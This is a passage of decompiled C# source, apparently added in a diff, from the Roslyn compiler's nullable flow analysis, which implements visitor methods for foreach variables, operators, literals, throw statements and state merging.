typeWithState.HasNullType ? ((TypeWithState?)null) : new TypeWithState?(typeWithState)); + Visit(node.IterationVariableType); + return; + } + Visit(node.IterationVariableType); + ImmutableArray.Enumerator enumerator = node.IterationVariables.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + NullableFlowState value = NullableFlowState.NotNull; + if (!typeWithState.HasNullType) + { + TypeWithAnnotations typeWithAnnotations2 = current.TypeWithAnnotations; + TypeWithState typeWithState2 = typeWithState; + TypeWithState rValueType = typeWithState; + if (current.IsRef) + { + if (IsNullabilityMismatch(typeWithAnnotations, typeWithAnnotations2)) + { + ForEachStatementSyntax forEachStatementSyntax2 = (ForEachStatementSyntax)(object)node.Syntax; + ReportNullabilityMismatchInAssignment((SyntaxNode)(object)forEachStatementSyntax2.Type, typeWithAnnotations, typeWithAnnotations2); + } + } + else if (current is SourceLocalSymbol { IsVar: not false }) + { + typeWithAnnotations2 = typeWithState.ToAnnotatedTypeWithAnnotations(compilation); + _variables.SetType(current, typeWithAnnotations2); + rValueType = typeWithAnnotations2.ToTypeWithState(); + } + else + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = BoundNode.GetConversion(node.ElementConversion, node.ElementPlaceholder); + if (conversion.Kind == ConversionKind.NoConversion) + { + conversion = _conversions.ClassifyImplicitConversionFromType(typeWithAnnotations.Type, typeWithAnnotations2.Type, ref useSiteInfo); + } + BoundTypeExpression iterationVariableType = node.IterationVariableType; + Conversion conversion2 = conversion; + TypeWithAnnotations targetTypeWithNullability = typeWithAnnotations2; + TypeWithState operandType = typeWithState; + bool fromExplicitCast = !conversion.IsImplicit; + location = val; + typeWithState2 = VisitConversion(null, iterationVariableType, conversion2, targetTypeWithNullability, operandType, checkConversion: true, fromExplicitCast, useLegacyWarnings: true, AssignmentKind.ForEachIterationVariable, null, reportTopLevelWarnings: true, reportRemainingWarnings: true, extensionMethodThisArgument: false, default(Optional), trackMembers: false, location); + } + SetAnalyzedNullability(node.IterationVariableType, new VisitResult(rValueType, typeWithAnnotations2), true); + value = typeWithState2.State; + } + int orCreateSlot = GetOrCreateSlot(current); + if (orCreateSlot > 0) + { + SetState(ref State, orCreateSlot, value); + } + } + } + + public override BoundNode? VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + BoundNode result = base.VisitFromEndIndexExpression(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 10541); + } + + public override BoundNode? VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitBadExpression(BoundBadExpression node) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = node.ChildBoundNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current is BoundLambda node2) + { + TakeIncrementalSnapshot(node2); + VisitLambda(node2, null); + VisitRvalueEpilogue(node2); + } + else + { + VisitRvalue(current); + } + } + TypeWithAnnotations type = TypeWithAnnotations.Create(node.Type); + SetLvalueResultType(node, type); + return null; + } + + public override BoundNode? VisitTypeExpression(BoundTypeExpression node) + { + BoundNode result = base.VisitTypeExpression(node); + if (node.BoundContainingTypeOpt != null) + { + VisitTypeExpression(node.BoundContainingTypeOpt); + } + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitTypeOrValueExpression(BoundTypeOrValueExpression node) + { + BoundNode result = base.VisitTypeOrValueExpression(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitUnaryOperator(BoundUnaryOperator node) + { + //IL_01a8: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Unknown result type (might be due to invalid IL or missing references) + TypeWithState type; + switch (node.OperatorKind) + { + case UnaryOperatorKind.BoolLogicalNegation: + Visit(node.Operand); + if (IsConditionalState) + { + SetConditionalState(StateWhenFalse, StateWhenTrue); + } + type = adjustForLifting(ResultType); + break; + case UnaryOperatorKind.DynamicTrue: + Visit(node.Operand); + type = adjustForLifting(ResultType); + break; + case UnaryOperatorKind.DynamicLogicalNegation: + Visit(node.Operand); + if (IsConditionalState) + { + SetConditionalState(StateWhenFalse, StateWhenTrue); + } + type = adjustForLifting(ResultType); + break; + default: + if (node.OperatorKind.IsUserDefined()) + { + MethodSymbol methodOpt = node.MethodOpt; + if ((object)methodOpt != null && methodOpt.ParameterCount == 1) + { + var (boundExpression, conversion) = RemoveConversion(node.Operand, includeExplicitConversions: false); + VisitRvalue(boundExpression); + TypeWithState resultType = ResultType; + bool isLifted = node.OperatorKind.IsLifted(); + TypeWithState nullableUnderlyingTypeIfNecessary = GetNullableUnderlyingTypeIfNecessary(isLifted, resultType); + methodOpt = (MethodSymbol)AsMemberOfType(nullableUnderlyingTypeIfNecessary.Type.StrippedType(), methodOpt); + ParameterSymbol parameterSymbol = methodOpt.Parameters[0]; + VisitConversion(node.Operand as BoundConversion, boundExpression, conversion, parameterSymbol.TypeWithAnnotations, nullableUnderlyingTypeIfNecessary, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Argument, parameterSymbol); + type = GetLiftedReturnTypeIfNecessary(isLifted, methodOpt.ReturnTypeWithAnnotations, resultType.State); + SetUpdatedSymbol(node, node.MethodOpt, methodOpt); + break; + } + } + VisitRvalue(node.Operand); + type = adjustForLifting(ResultType); + break; + } + SetResultType(node, type); + return null; + TypeWithState adjustForLifting(TypeWithState argumentResult) + { + return TypeWithState.Create(node.Type, node.OperatorKind.IsLifted() ? argumentResult.State : NullableFlowState.NotNull); + } + } + + public override BoundNode? VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + BoundNode result = base.VisitPointerIndirectionOperator(node); + TypeWithAnnotations type = TypeWithAnnotations.Create(node.Type); + SetLvalueResultType(node, type); + return result; + } + + public override BoundNode? VisitPointerElementAccess(BoundPointerElementAccess node) + { + BoundNode result = base.VisitPointerElementAccess(node); + TypeWithAnnotations type = TypeWithAnnotations.Create(node.Type); + SetLvalueResultType(node, type); + return result; + } + + public override BoundNode? VisitRefTypeOperator(BoundRefTypeOperator node) + { + VisitRvalue(node.Operand); + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitMakeRefOperator(BoundMakeRefOperator node) + { + BoundNode result = base.VisitMakeRefOperator(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitRefValueOperator(BoundRefValueOperator node) + { + BoundNode result = base.VisitRefValueOperator(node); + TypeWithAnnotations type = TypeWithAnnotations.Create(node.Type, node.NullableAnnotation); + SetLvalueResultType(node, type); + return result; + } + + private TypeWithState InferResultNullability(BoundUserDefinedConditionalLogicalOperator node) + { + if (node.OperatorKind.IsLifted()) + { + return TypeWithState.Create(node.Type, NullableFlowState.NotNull); + } + if ((object)node.LogicalOperator != null && node.LogicalOperator.ParameterCount == 2) + { + return GetReturnTypeWithState(node.LogicalOperator); + } + return default(TypeWithState); + } + + protected override void AfterLeftChildOfBinaryLogicalOperatorHasBeenVisited(BoundExpression node, BoundExpression right, bool isAnd, bool isBool, ref LocalState leftTrue, ref LocalState leftFalse) + { + TypeWithState resultType = ResultType; + MethodSymbol methodSymbol = null; + MethodSymbol methodSymbol2 = null; + BoundExpression argument = null; + switch (node.Kind) + { + case BoundKind.UserDefinedConditionalLogicalOperator: + { + BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator = (BoundUserDefinedConditionalLogicalOperator)node; + if (boundUserDefinedConditionalLogicalOperator.LogicalOperator != null && boundUserDefinedConditionalLogicalOperator.LogicalOperator.ParameterCount == 2) + { + methodSymbol = boundUserDefinedConditionalLogicalOperator.LogicalOperator; + argument = boundUserDefinedConditionalLogicalOperator.Left; + methodSymbol2 = (isAnd ? boundUserDefinedConditionalLogicalOperator.FalseOperator : boundUserDefinedConditionalLogicalOperator.TrueOperator); + if ((object)methodSymbol2 != null && methodSymbol2.ParameterCount != 1) + { + methodSymbol2 = null; + } + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + case BoundKind.BinaryOperator: + break; + } + if ((object)methodSymbol2 != null) + { + ReportArgumentWarnings(argument, resultType, methodSymbol2.Parameters[0]); + } + if ((object)methodSymbol != null) + { + ReportArgumentWarnings(argument, resultType, methodSymbol.Parameters[0]); + } + Visit(right); + TypeWithState resultType2 = ResultType; + SetResultType(node, InferResultNullabilityOfBinaryLogicalOperator(node, resultType, resultType2)); + if ((object)methodSymbol != null) + { + ReportArgumentWarnings(right, resultType2, methodSymbol.Parameters[1]); + } + AfterRightChildOfBinaryLogicalOperatorHasBeenVisited(right, isAnd, isBool, ref leftTrue, ref leftFalse); + } + + private TypeWithState InferResultNullabilityOfBinaryLogicalOperator(BoundExpression node, TypeWithState leftType, TypeWithState rightType) + { + if (!(node is BoundBinaryOperator boundBinaryOperator)) + { + if (node is BoundUserDefinedConditionalLogicalOperator node2) + { + return InferResultNullability(node2); + } + throw ExceptionUtilities.UnexpectedValue((object)node); + } + return InferResultNullability(boundBinaryOperator.OperatorKind, boundBinaryOperator.Method, boundBinaryOperator.Type, leftType, rightType); + } + + public override BoundNode? VisitAwaitExpression(BoundAwaitExpression node) + { + BoundNode result = base.VisitAwaitExpression(node); + BoundAwaitableInfo awaitableInfo = node.AwaitableInfo; + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder = awaitableInfo.AwaitableInstancePlaceholder; + AddPlaceholderReplacement(awaitableInstancePlaceholder, node.Expression, _visitResult); + Visit(awaitableInfo); + RemovePlaceholderReplacement(awaitableInstancePlaceholder); + if (node.Type.IsValueType || node.HasErrors || (object)awaitableInfo.GetResult == null) + { + SetNotNullResult(node); + return result; + } + MethodSymbol getResult = awaitableInfo.GetResult; + MethodSymbol methodSymbol = ((_visitResult.RValueType.Type is NamedTypeSymbol newOwner) ? getResult.OriginalDefinition.AsMember(newOwner) : getResult); + SetResultType(node, methodSymbol.ReturnTypeWithAnnotations.ToTypeWithState()); + return result; + } + + public override BoundNode? VisitTypeOfOperator(BoundTypeOfOperator node) + { + BoundNode result = base.VisitTypeOfOperator(node); + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.NotNull)); + return result; + } + + public override BoundNode? VisitMethodInfo(BoundMethodInfo node) + { + BoundNode result = base.VisitMethodInfo(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitFieldInfo(BoundFieldInfo node) + { + BoundNode result = base.VisitFieldInfo(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitDefaultLiteral(BoundDefaultLiteral node) + { + BoundNode result = base.VisitDefaultLiteral(node); + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.MaybeDefault)); + return result; + } + + public override BoundNode? VisitDefaultExpression(BoundDefaultExpression node) + { + BoundNode result = base.VisitDefaultExpression(node); + TypeSymbol type = node.Type; + if (EmptyStructTypeCache.IsTrackableStructType(type)) + { + int orCreatePlaceholderSlot = GetOrCreatePlaceholderSlot(node); + if (orCreatePlaceholderSlot > 0) + { + SetState(ref State, orCreatePlaceholderSlot, NullableFlowState.NotNull); + InheritNullableStateOfTrackableStruct(type, orCreatePlaceholderSlot, -1, isDefaultValue: true); + } + } + SetResultType(node, TypeWithState.ForType(type)); + return result; + } + + public override BoundNode? VisitIsOperator(BoundIsOperator node) + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + BoundExpression operand = node.Operand; + BoundTypeExpression targetType = node.TargetType; + VisitPossibleConditionalAccess(operand, out var stateWhenNotNull); + Unsplit(); + LocalState self; + if (!stateWhenNotNull.IsConditionalState) + { + self = stateWhenNotNull.State; + } + else + { + self = stateWhenNotNull.StateWhenTrue; + Join(ref self, ref stateWhenNotNull.StateWhenFalse); + } + SetConditionalState(self, State); + TypeSymbol type = targetType.Type; + if ((object)type != null && (int)type.SpecialType == 1) + { + LearnFromNullTest(operand, ref StateWhenFalse); + } + VisitTypeExpression(targetType); + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitAsOperator(BoundAsOperator node) + { + TypeWithState typeWithState = VisitRvalueWithState(node.Operand); + NullableFlowState defaultState = NullableFlowState.NotNull; + TypeSymbol type = node.Type; + if (type.CanContainNull()) + { + ConversionKind kind = BoundNode.GetConversion(node.OperandConversion, node.OperandPlaceholder).Kind; + defaultState = ((kind != ConversionKind.Identity && kind != ConversionKind.ImplicitNullable && kind - 12 > ConversionKind.NoConversion) ? NullableFlowState.MaybeDefault : typeWithState.State); + } + VisitTypeExpression(node.TargetType); + SetResultType(node, TypeWithState.Create(type, defaultState)); + return null; + } + + public override BoundNode? VisitSizeOfOperator(BoundSizeOfOperator node) + { + BoundNode result = base.VisitSizeOfOperator(node); + VisitTypeExpression(node.SourceType); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitArgList(BoundArgList node) + { + BoundNode result = base.VisitArgList(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitArgListOperator(BoundArgListOperator node) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + VisitArgumentsEvaluate(node.Arguments, node.ArgumentRefKindsOpt, default(ImmutableArray), default(BitVector)); + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitLiteral(BoundLiteral node) + { + BoundNode result = base.VisitLiteral(node); + TypeSymbol? type = node.Type; + TypeSymbol? type2 = node.Type; + int defaultState; + if ((object)type2 == null || type2.CanContainNull()) + { + ConstantValue? constantValueOpt = node.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsNull) + { + defaultState = 3; + goto IL_003b; + } + } + defaultState = 0; + goto IL_003b; + IL_003b: + SetResultType(node, TypeWithState.Create(type, (NullableFlowState)defaultState)); + return result; + } + + public override BoundNode? VisitUtf8String(BoundUtf8String node) + { + BoundNode result = base.VisitUtf8String(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node) + { + BoundNode result = base.VisitPreviousSubmissionReference(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitHostObjectMemberReference(BoundHostObjectMemberReference node) + { + BoundNode result = base.VisitHostObjectMemberReference(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitPseudoVariable(BoundPseudoVariable node) + { + BoundNode? result = base.VisitPseudoVariable(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitRangeExpression(BoundRangeExpression node) + { + BoundNode result = base.VisitRangeExpression(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitRangeVariable(BoundRangeVariable node) + { + VisitWithoutDiagnostics(node.Value); + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitLabel(BoundLabel node) + { + BoundNode? result = base.VisitLabel(node); + SetUnknownResultNullability(node); + return result; + } + + public override BoundNode? VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + BoundExpression receiver = node.Receiver; + VisitRvalue(receiver); + CheckPossibleNullReceiver(receiver); + TypeWithAnnotations type = TypeWithAnnotations.Create(node.Type); + SetLvalueResultType(node, type); + return null; + } + + public override BoundNode? VisitDynamicInvocation(BoundDynamicInvocation node) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = node.Expression; + VisitRvalue(expression); + BoundExpression receiverOpt = (expression as BoundMethodGroup)?.ReceiverOpt; + if (TryGetMethodGroupReceiverNullability(receiverOpt, out var type)) + { + CheckPossibleNullReceiver(receiverOpt, type, checkNullableValueType: false); + } + VisitArgumentsEvaluate(node.Arguments, node.ArgumentRefKindsOpt, default(ImmutableArray), default(BitVector)); + TypeWithAnnotations type2 = TypeWithAnnotations.Create(node.Type); + SetLvalueResultType(node, type2); + return null; + } + + public override BoundNode? VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + BoundExpression receiverOpt = node.ReceiverOpt; + VisitRvalue(receiverOpt); + EventSymbol eventSymbol = node.Event; + if (!eventSymbol.IsStatic) + { + eventSymbol = (EventSymbol)AsMemberOfType(ResultType.Type, eventSymbol); + CheckPossibleNullReceiver(receiverOpt); + SetUpdatedSymbol(node, node.Event, eventSymbol); + } + VisitRvalue(node.Argument); + ConstantValue? constantValueOpt = node.Argument.ConstantValueOpt; + if (constantValueOpt == null || !constantValueOpt.IsNull) + { + int num = MakeMemberSlot(receiverOpt, eventSymbol); + if (num > 0) + { + SetState(ref State, num, (!node.IsAddition) ? NullableFlowState.MaybeNull : GetState(ref State, num).Meet(ResultType.State)); + } + } + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + public override BoundNode? VisitObjectInitializerExpression(BoundObjectInitializerExpression node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitImplicitReceiver(BoundImplicitReceiver node) + { + BoundNode result = base.VisitImplicitReceiver(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitAnonymousPropertyDeclaration(BoundAnonymousPropertyDeclaration node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 11118); + } + + public override BoundNode? VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + public override BoundNode? VisitNewT(BoundNewT node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + public override BoundNode? VisitArrayInitialization(BoundArrayInitialization node) + { + BoundNode result = base.VisitArrayInitialization(node); + SetNotNullResult(node); + return result; + } + + private void SetUnknownResultNullability(BoundExpression expression) + { + SetResultType(expression, TypeWithState.Create(expression.Type, NullableFlowState.NotNull)); + } + + public override BoundNode? VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiver = node.Receiver; + VisitRvalue(receiver); + CheckPossibleNullReceiver(receiver); + VisitArgumentsEvaluate(node.Arguments, node.ArgumentRefKindsOpt, default(ImmutableArray), default(BitVector)); + TypeWithAnnotations type = TypeWithAnnotations.Create(node.Type); + SetLvalueResultType(node, type); + return null; + } + + private bool CheckPossibleNullReceiver(BoundExpression? receiverOpt, bool checkNullableValueType = false) + { + return CheckPossibleNullReceiver(receiverOpt, ResultType, checkNullableValueType); + } + + private bool CheckPossibleNullReceiver(BoundExpression? receiverOpt, TypeWithState resultType, bool checkNullableValueType) + { + bool reportedDiagnostic = false; + if (receiverOpt != null && State.Reachable) + { + TypeSymbol type = resultType.Type; + if ((object)type == null) + { + return false; + } + if (!ReportPossibleNullReceiverIfNeeded(type, resultType.State, checkNullableValueType, receiverOpt.Syntax, out reportedDiagnostic)) + { + return reportedDiagnostic; + } + LearnFromNonNullTest(receiverOpt, ref State); + } + return reportedDiagnostic; + } + + private bool ReportPossibleNullReceiverIfNeeded(TypeSymbol type, NullableFlowState state, bool checkNullableValueType, SyntaxNode syntax, out bool reportedDiagnostic) + { + reportedDiagnostic = false; + if (state.MayBeNull()) + { + bool isValueType = type.IsValueType; + if (isValueType && (!checkNullableValueType || !type.IsNullableTypeOrTypeParameter() || type.GetNullableUnderlyingType().IsErrorType())) + { + return false; + } + ReportDiagnostic(isValueType ? ErrorCode.WRN_NullableValueTypeMayBeNull : ErrorCode.WRN_NullReferenceReceiver, syntax); + reportedDiagnostic = true; + } + return true; + } + + private void CheckExtensionMethodThisNullability(BoundExpression expr, Conversion conversion, ParameterSymbol parameter, TypeWithState result) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + VisitArgumentConversionAndInboundAssignmentsAndPreConditions(null, expr, conversion, parameter.RefKind, parameter, parameter.TypeWithAnnotations, GetParameterAnnotations(parameter), new VisitArgumentResult(new VisitResult(result, result.ToTypeWithAnnotations(compilation)), default(Optional)), null, extensionMethodThisArgument: true); + } + + private static bool IsNullabilityMismatch(TypeWithAnnotations type1, TypeWithAnnotations type2) + { + if (type1.Equals(type2, (TypeCompareKind)63)) + { + return !type1.Equals(type2, (TypeCompareKind)55); + } + return false; + } + + private static bool IsNullabilityMismatch(TypeSymbol type1, TypeSymbol type2) + { + if (type1.Equals(type2, (TypeCompareKind)63)) + { + return !type1.Equals(type2, (TypeCompareKind)55); + } + return false; + } + + public override BoundNode? VisitQueryClause(BoundQueryClause node) + { + BoundNode result = base.VisitQueryClause(node); + SetNotNullResult(node); + return result; + } + + public override BoundNode? VisitNameOfOperator(BoundNameOfOperator node) + { + BoundNode result = base.VisitNameOfOperator(node); + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.NotNull)); + return result; + } + + public override BoundNode? VisitNamespaceExpression(BoundNamespaceExpression node) + { + BoundNode result = base.VisitNamespaceExpression(node); + SetUnknownResultNullability(node); + return result; + } + + public override BoundNode? VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node) + { + BoundNode result = base.VisitUnconvertedInterpolatedString(node); + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.NotNull)); + return result; + } + + public override BoundNode? VisitStringInsert(BoundStringInsert node) + { + BoundNode result = base.VisitStringInsert(node); + SetUnknownResultNullability(node); + return result; + } + + protected override void VisitInterpolatedStringHandlerConstructor(BoundExpression? constructor) + { + } + + public override BoundNode? VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node) + { + VisitPlaceholderWithReplacement(node); + return null; + } + + public override BoundNode? VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node) + { + return VisitStackAllocArrayCreationBase(node); + } + + public override BoundNode? VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + return VisitStackAllocArrayCreationBase(node); + } + + private BoundNode? VisitStackAllocArrayCreationBase(BoundStackAllocArrayCreationBase node) + { + VisitRvalue(node.Count); + BoundArrayInitialization initializerOpt = node.InitializerOpt; + if (initializerOpt == null) + { + SetResultType(node, TypeWithState.Create(node.Type, NullableFlowState.NotNull)); + return null; + } + TypeSymbol type = VisitArrayInitialization(node.Type, initializerOpt, node.HasErrors); + SetResultType(node, TypeWithState.Create(type, NullableFlowState.NotNull)); + return null; + } + + public override BoundNode? VisitDiscardExpression(BoundDiscardExpression node) + { + TypeWithAnnotations lvalueType = TypeWithAnnotations.Create(node.Type, node.IsInferred ? NullableAnnotation.Annotated : node.NullableAnnotation); + TypeWithState resultType = TypeWithState.ForType(node.Type); + SetResult(node, resultType, lvalueType); + return null; + } + + public override BoundNode? VisitThrowExpression(BoundThrowExpression node) + { + VisitThrow(node.Expression); + SetResultType(node, default(TypeWithState)); + return null; + } + + public override BoundNode? VisitThrowStatement(BoundThrowStatement node) + { + VisitThrow(node.ExpressionOpt); + return null; + } + + private void VisitThrow(BoundExpression? expr) + { + if (expr != null && VisitRvalueWithState(expr).MayBeNull) + { + ReportDiagnostic(ErrorCode.WRN_ThrowPossibleNull, expr.Syntax); + } + SetUnreachable(); + } + + public override BoundNode? VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + BoundExpression expression = node.Expression; + if (expression == null) + { + return null; + } + MethodSymbol methodSymbol = (MethodSymbol)CurrentSymbol; + TypeWithAnnotations iteratorElementTypeFromReturnType = InMethodBinder.GetIteratorElementTypeFromReturnType(compilation, (RefKind)0, methodSymbol.ReturnType, null, null); + VisitOptionalImplicitConversion(expression, iteratorElementTypeFromReturnType, useLegacyWarnings: false, trackMembers: false, AssignmentKind.Return); + Unsplit(); + return null; + } + + protected override void VisitCatchBlock(BoundCatchBlock node, ref LocalState finallyState) + { + TakeIncrementalSnapshot(node); + if (node.Locals.Length > 0) + { + LocalSymbol localSymbol = node.Locals[0]; + if (localSymbol.DeclarationKind == LocalDeclarationKind.CatchVariable) + { + int orCreateSlot = GetOrCreateSlot(localSymbol); + if (orCreateSlot > 0) + { + SetState(ref State, orCreateSlot, NullableFlowState.NotNull); + } + } + } + if (node.ExceptionSourceOpt != null) + { + VisitWithoutDiagnostics(node.ExceptionSourceOpt); + } + base.VisitCatchBlock(node, ref finallyState); + } + + public override BoundNode? VisitLockStatement(BoundLockStatement node) + { + VisitRvalue(node.Argument); + CheckPossibleNullReceiver(node.Argument); + VisitStatement(node.Body); + return null; + } + + public override BoundNode? VisitAttribute(BoundAttribute node) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + VisitArguments(node, node.ConstructorArguments, ImmutableArray.Empty, node.Constructor, node.ConstructorArgumentsToParamsOpt, default(BitVector), node.ConstructorExpanded, invokedAsExtensionMethod: false); + ImmutableArray.Enumerator enumerator = node.NamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundAssignmentOperator current = enumerator.Current; + Visit(current); + } + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitExpressionWithNullability(BoundExpressionWithNullability node) + { + TypeWithAnnotations lvalueType = TypeWithAnnotations.Create(node.Type, node.NullableAnnotation); + SetResult(node.Expression, lvalueType.ToTypeWithState(), lvalueType); + return null; + } + + public override BoundNode? VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node) + { + SetNotNullResult(node); + return null; + } + + public override BoundNode? VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + VisitPlaceholderWithReplacement(node); + return null; + } + + private void VisitPlaceholderWithReplacement(BoundValuePlaceholderBase node) + { + if (_resultForPlaceholdersOpt != null && ((Dictionary)(object)_resultForPlaceholdersOpt).TryGetValue(node, out (BoundExpression, VisitResult) value)) + { + VisitResult item = value.Item2; + SetResult(node, item.RValueType, item.LValueType); + } + else + { + SetNotNullResult(node); + } + } + + public override BoundNode? VisitAwaitableInfo(BoundAwaitableInfo node) + { + Visit(node.AwaitableInstancePlaceholder); + Visit(node.GetAwaiter); + return null; + } + + public override BoundNode? VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + Visit(node.InvokedExpression); + VisitArguments(node, node.Arguments, node.ArgumentRefKindsOpt, node.FunctionPointer.Signature, default(ImmutableArray), default(BitVector), expanded: false, invokedAsExtensionMethod: false); + TypeWithAnnotations returnTypeWithAnnotations = node.FunctionPointer.Signature.ReturnTypeWithAnnotations; + SetResult(node, returnTypeWithAnnotations.ToTypeWithState(), returnTypeWithAnnotations); + return null; + } + + protected override string Dump(LocalState state) + { + return state.Dump(_variables); + } + + protected override bool Meet(ref LocalState self, ref LocalState other) + { + if (!self.Reachable) + { + return false; + } + if (!other.Reachable) + { + self = other.Clone(); + return true; + } + Normalize(ref self); + Normalize(ref other); + return self.Meet(in other); + } + + protected override bool Join(ref LocalState self, ref LocalState other) + { + if (!other.Reachable) + { + return false; + } + if (!self.Reachable) + { + self = other.Clone(); + return true; + } + Normalize(ref self); + Normalize(ref other); + return self.Join(in other); + } + + private void Join(ref PossiblyConditionalState other) + { + bool isConditionalState = other.IsConditionalState; + if (isConditionalState) + { + Split(); + } + if (IsConditionalState) + { + Join(ref StateWhenTrue, ref isConditionalState ? ref other.StateWhenTrue : ref other.State); + Join(ref StateWhenFalse, ref isConditionalState ? ref other.StateWhenFalse : ref other.State); + } + else + { + Join(ref State, ref other.State); + } + } + + private LocalState CloneAndUnsplit(ref PossiblyConditionalState conditionalState) + { + if (!conditionalState.IsConditionalState) + { + return conditionalState.State.Clone(); + } + LocalState self = conditionalState.StateWhenTrue.Clone(); + Join(ref self, ref conditionalState.StateWhenFalse); + return self; + } + + private void SetPossiblyConditionalState(in PossiblyConditionalState conditionalState) + { + if (!conditionalState.IsConditionalState) + { + SetState(conditionalState.State); + } + else + { + SetConditionalState(conditionalState.StateWhenTrue, conditionalState.StateWhenFalse); + } + } + + protected override LocalFunctionState CreateLocalFunctionState(LocalFunctionSymbol symbol) + { + return new LocalFunctionState(LocalState.UnreachableState(((symbol.ContainingSymbol is MethodSymbol method) ? _variables.GetVariablesForMethodScope(method) : null) ?? _variables.GetRootScope())); + } + + private void LearnFromAnyNullPatterns(BoundExpression expression, BoundPattern pattern) + { + int inputSlot = MakeSlot(expression); + LearnFromAnyNullPatterns(inputSlot, expression.Type, pattern); + } + + private void VisitForRewriting(BoundNode node) + { + LocalState state = State; + VisitWithoutDiagnostics(node); + SetState(state); + } + + public override BoundNode VisitPositionalSubpattern(BoundPositionalSubpattern node) + { + Visit(node.Pattern); + return null; + } + + public override BoundNode VisitPropertySubpattern(BoundPropertySubpattern node) + { + Visit(node.Pattern); + return null; + } + + public override BoundNode VisitRecursivePattern(BoundRecursivePattern node) + { + Visit(node.DeclaredType); + VisitAndUnsplitAll(node.Deconstruction); + VisitAndUnsplitAll(node.Properties); + Visit(node.VariableAccess); + return null; + } + + public override BoundNode 